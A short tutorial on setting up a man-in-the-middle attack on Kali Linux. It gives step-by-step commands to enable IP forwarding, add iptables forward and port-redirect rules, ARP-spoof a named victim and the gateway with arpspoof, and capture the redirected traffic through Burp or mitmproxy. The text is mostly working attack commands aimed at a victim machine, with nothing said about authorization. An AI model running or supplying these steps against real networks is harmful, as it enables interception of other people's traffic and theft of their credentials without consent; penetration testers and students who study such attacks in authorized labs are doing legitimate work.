MITM using arpspoof + Burp or mitmproxy on Kali Linux
I could not find anything on the web that explains how to setup properly a man-in-the-middle proxy on Kali Linux thus I am writing this article to make it clear.
First we should enable IP forwarding on the proxy machine using this command:
sysctl -w net.ipv4.ip_forward=1
Then we should declare a FORWARD policy and a port redirection policy using iptables:
sudo iptables -A FORWARD --in-interface [iface] -j ACCEPT
sudo iptables -t nat -A PREROUTING -i [iface] -p tcp --dport [port] -j REDIRECT --to-port 8080
Where you should replace [iface] with your working interface and [port] with the port you would like to intercept the packets of. You should execute the second command for each port you want to sniff.
Next, we should perform arpspoofing on our target. In this example, I use arpspoof tool but you could use any tool.
arspoof -i [iface] -t [victim-ip] [gateway-ip]
arpspoof -i [iface] -t [gateway-ip] [victim-ip]
Now you could start a proxy which listens on port 8080 to capture packets from your target. To use Burp, you just have to set it as invisible proxy.
If you prefer mitmproxy, all you have to do is execute this command ( which set mitmproxy as a transparent proxy)
mitmproxy -T